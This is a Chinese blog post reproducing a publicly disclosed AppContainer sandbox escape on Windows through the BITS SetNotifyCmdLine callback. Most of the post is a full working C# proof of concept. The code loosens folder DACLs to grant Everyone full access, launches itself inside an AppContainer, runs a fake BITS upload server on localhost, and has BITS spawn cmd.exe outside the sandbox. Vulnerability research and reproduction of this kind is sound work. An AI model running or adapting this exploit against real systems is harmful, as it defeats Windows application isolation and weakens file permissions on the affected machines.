关于谷歌P0的AppContainer逃逸的一种简单的复现

简要概述

本文主要讨论谷歌P0文章中提到的Background Intelligent Transfer Service (BITS)服务的关于AppContainer逃逸的一种简单的复现.

简要分析

关于AppContainer隔离机制的的介绍可以参考相关引用节的相关文章,这里不再赘述,AppContainer进程属于对低完整性进程在PackageSid、Capabilities等更高粒度层面上实现的隔离,具有更加有限的功能.AppContainer不具有访问用户文件,有限的网络通信,和SMB共享访问等功能.常见的AppContainer capability可以在这里找到相关文档说明,谷歌的NtApiDotNet项目项目也为我们提供的常见的已知SID.
关于谷歌P0的AppContainer逃逸的一种简单的复现
关于谷歌P0的AppContainer逃逸的一种简单的复现
使用Process Hacker工具在图中可以看到AppContainer进程被赋予了指定的PackageSid和Capabilities SID的低完整性进程,windos也正是使用这些安全描述符(SD,下同)里的DACL(discretionaryaccess control list)来控制用户和用户组的访问权限。

运行效果

BITS服务的IBackgroundCopyJob::SetNotifyCmdLine
会在完成上载或下载任务以后impersonate(模拟)调用方token并创建一个新进程,由于AppContainer进程不具有对本地文件进行写入的功能,所以只能使用上载模式,这里只需要赋予AppContainer进程CapabilityPicturesLibrary权限为了保证兼容性起见使用通用的windowscalculator的PackageSid,即可读取用户图片文件夹的文件作为上传文件,在一个任意的远程监听http服务模拟伪造的BITS服务上传服务,在文件成功上传后(实际上并没有真实的文件操作)既可触发回调.这里(BITS)服务并没有创建一个完全相同隔离等级的AppContainer进程作为回调,而是当调用方为AppContainer进程时新进程剥离了AppContainer的限制,转换为一个完全可控的低完整性进程,从而实现了有限的AppContainer逃逸.新进程已经可以创建子进程,读取本地文件,和访问SMB等低完整用户进程具有权限.
关于谷歌P0的AppContainer逃逸的一种简单的复现
关于谷歌P0的AppContainer逃逸的一种简单的复现

相关代码

using System;
using System.Collections.Generic;
using System.Diagnostics.CodeAnalysis;
using System.IO;
using System.Linq;
using System.Net;
using System.Net.Sockets;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
using System.Text;
using System.Threading;
using System.Threading.Tasks;
using AppContainerBypass;
using NtApiDotNet;
using NtApiDotNet.Win32;

namespace AppContainerBypass
{

	class Program
	{
		static volatile ManualResetEvent me=new ManualResetEvent(false);
		static bool IsInAppContainer()
		{
			using (var token = NtToken.OpenProcessToken())
			{
				return token.AppContainer;
			}
		}

		static void UpdateSecurity(string path)
		{
			var sd = new NtApiDotNet.SecurityDescriptor("D:AI(A;;FA;;;WD)(A;;FA;;;AC)");
			using (var file = NtFile.Open(NtFileUtils.DosFileNameToNt(path), null, FileAccessRights.WriteDac))
			{
				file.SetSecurityDescriptor(sd, NtApiDotNet.SecurityInformation.Dacl);
			}
		}

		static void FixSecurity(string dir)
		{

			UpdateSecurity(dir);
			foreach (var file in Directory.GetFiles(dir))
			{
				UpdateSecurity(file);
			}
		}
		static string cmdExe = @"C:\Windows\System32\cmd.exe";
		static string mainExe = typeof(Program).Assembly.Location;

		static bool RestartInAppContainer(string[] args)
		{
			string FakeFile = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.MyPictures), "1.txt");
			if (!File.Exists(FakeFile))
			{
				File.WriteAllText(FakeFile,"fake");

			}
			FixSecurity(Path.GetDirectoryName(typeof(Program).Assembly.Location));
			FixSecurity(Environment.GetFolderPath(Environment.SpecialFolder.MyPictures));


			List<Sid> caps = new List<Sid>
				{
					
					KnownSids.CapabilityInternetClient,
					KnownSids.CapabilityInternetClientServer,
					KnownSids.CapabilityPrivateNetworkClientServer,
					KnownSids.CapabilityPicturesLibrary

				};


			Win32ProcessConfig config = new Win32ProcessConfig
			{
				CreationFlags = CreateProcessFlags.NewConsole,
				CurrentDirectory = Environment.GetFolderPath(Environment.SpecialFolder.MyPictures),
				ApplicationName = mainExe,
				CommandLine = mainExe + " " + FakeFile



			};
			config.SetAppContainerSidFromName("microsoft.windowscalculator_8wekyb3d8bbwe");

			config.Capabilities.AddRange(caps);

			using (var p = Win32Process.CreateProcess(config))
			{
				p.Process.Wait();
			}
			return true;

		}


		private static void Process_CANCEL_SESSION(HttpListenerContext context)
		{
			Guid SessionId = Guid.Parse(context.Request.Headers["BITS-Session-Id"].ToString());
			context.Response.Headers["BITS-Packet-Type"] = "Ack";
			context.Response.ContentLength64 = 0;
			context.Response.Headers["BITS-Session-Id"] = SessionId.ToString();
		}

		private static void Process_PING(HttpListenerContext context)
		{
			context.Response.Headers["BITS-Packet-Type"] = "Ack";
			context.Response.Headers["BITS-Error-Code"] = "1";
			context.Response.Headers["BITS-Error-Context"] = "";
			context.Response.ContentLength64 = 0;
		}

		private static void Process_CLOSE_SESSION(HttpListenerContext context)
		{
			Guid SessionId = Guid.Parse(context.Request.Headers["BITS-Session-Id"].ToString());
			context.Response.Headers["BITS-Packet-Type"] = "Ack";
			context.Response.ContentLength64 = 0;
			context.Response.Headers["BITS-Session-Id"] = SessionId.ToString();
		}
		private static void Process_FRAGMENT(HttpListenerContext context)
		{


			Guid SessionId = Guid.Parse(context.Request.Headers["BITS-Session-Id"].ToString());
			//string ContentName = context.Request.Headers["Content-Name"].ToString();
			string ContentRange = context.Request.Headers["Content-Range"].ToString();
			List<string> ContentRangeList = ContentRange.Split(new string[] { "/" }, StringSplitOptions.RemoveEmptyEntries).ToList();
			List<string> crange = ContentRangeList[0].Split(new string[] { "-" }, StringSplitOptions.RemoveEmptyEntries).ToList();
			string total_length = ContentRangeList[1];
			string range_start = crange[0];
			string range_end = crange[1];
			Console.Write("Process Process_FRAGMENT:range_start:" + range_start + ",range_end:" + range_end + ",total_length:" + total_length + Environment.NewLine);
			context.Response.Headers["BITS-Packet-Type"] = "Ack";
			context.Response.ContentLength64 = 0;
			context.Response.Headers["BITS-Session-Id"] = SessionId.ToString();
			context.Response.Headers["BITS-Received-Content-Range"] = (int.Parse(range_end) + 1).ToString();
		}
		private static void Process_CREATE_SESSION(HttpListenerContext context)
		{
			string supported_protocols = "{7df0354d-249b-430f-820d-3d2a9bef4931}";
			List<string> BITSSupportedProtocolsList = context.Request.Headers["BITS-Supported-Protocols"].Split(new string[] { " " }, StringSplitOptions.RemoveEmptyEntries).ToList();
			if (BITSSupportedProtocolsList.Contains(supported_protocols))
			{
				Guid SessionId = Guid.NewGuid();
				context.Response.ContentLength64 = 0;
				context.Response.Headers["BITS-Protocol"] = supported_protocols;
				context.Response.Headers["BITS-Packet-Type"] = "Ack";
				context.Response.Headers["BITS-Session-Id"] = SessionId.ToString();
			}
		}

		private static void Process_BITS_POST(HttpListenerContext context)
		{
			try
			{


				if (context.Request.Headers["BITS-Packet-Type"] != null)
				{
					string BITSPacketType = context.Request.Headers["BITS-Packet-Type"].ToString().ToUpper();
					Console.Write("Process BITSPacketType:" + BITSPacketType + Environment.NewLine);
					switch (BITSPacketType)
					{
						case "CREATE-SESSION":
							{

								Process_CREATE_SESSION(context);

								break;
							}
						case "FRAGMENT":
							{
								Process_FRAGMENT(context);
								break;
							}
						case "CLOSE-SESSION":
							{
								Process_CLOSE_SESSION(context);
								break;
							}
						case "CANCEL-SESSION":
							{
								Process_CANCEL_SESSION(context);

								break;
							}
						case "PING":
							{
								Process_PING(context);
								break;
							}
						default:
							{

								break;
							}
					}

					context.Response.StatusCode = 200;
					context.Response.Close();

				}
			}
			catch (Exception e)
			{
				context.Response.StatusCode = 500;
				context.Response.Headers["BITS-Error-Code"] = "1";
				context.Response.Close();
				Console.WriteLine(e);

			}
			
		}


		private static void StartBitsServer()
		{
			try
			{

			
			using (HttpListener listener = new HttpListener())
			{
				listener.Prefixes.Add("http://localhost:5686/");
				listener.Start();
				Console.Write("StartBitsServer"+Environment.NewLine);
				me.Set();

				while (true)
				{
					HttpListenerContext context = listener.GetContext();

					Console.Write("Process Method:" + context.Request.HttpMethod.ToUpper() + Environment.NewLine);
					switch (context.Request.HttpMethod.ToUpper())
					{
						case "BITS_POST":
							{
								Process_BITS_POST(context);
								break;
							}
						default:
							{
								break;
							}
					}
				}
				}
			}
			catch (Exception e)
			{
				Console.WriteLine(e);
				throw;
			}
		}

		static void Main(string[] args)
		{
			try
			{


				
				if (IsInAppContainer())
				{
					RunBtsJob(args[0]);
				}
				else
				{
					Task.Factory.StartNew(() =>
					{
						StartBitsServer();
					});
					me.WaitOne();
					RestartInAppContainer(args.ToArray());

				}
			}
			catch (Exception e)
			{
				Console.WriteLine(e);
				throw;
			}
		}

		private static void RunBtsJob(string file)
		{
			IBackgroundCopyManager mgr = new BackgroundCopyManager() as IBackgroundCopyManager;
			Guid jobGuid;
			IBackgroundCopyJob job1;
			mgr.CreateJob("fake", BG_JOB_TYPE.BG_JOB_TYPE_UPLOAD, out jobGuid, out job1);
			IBackgroundCopyJob2 job = job1 as IBackgroundCopyJob2;
			job.SetNotifyCmdLine(cmdExe, cmdExe);
			job.SetNotifyFlags(BG_JOB_NOTIFICATION_TYPE.BG_NOTIFY_JOB_TRANSFERRED);
			job.AddFile("http://localhost:5686/fake.png", file);
			job.Resume();
			BG_JOB_STATE stat = BG_JOB_STATE.BG_JOB_STATE_QUEUED;
			while (stat != BG_JOB_STATE.BG_JOB_STATE_TRANSFERRED)
			{
				Thread.Sleep(1000);
				job.GetState(out stat);
			}
			job.Complete();
			Console.Write("Success");
		}
	}
}

相关引用

谷歌P0文章

谷歌P0文章翻译

Windows AppContainer 降权,隔离与安全

隔离机制AppContainer

Windows下如何创建低权限进程

腾讯反病毒实验室:深度解析AppContainer工作机制

SetNotifyCmdLine接口介绍

AppContainer capability

BITS服务上传接口

上一篇:1356. Sort Integers by The Number of 1 Bits


下一篇:【leetcode_easy_sort】1356. Sort Integers by The Number of 1 Bits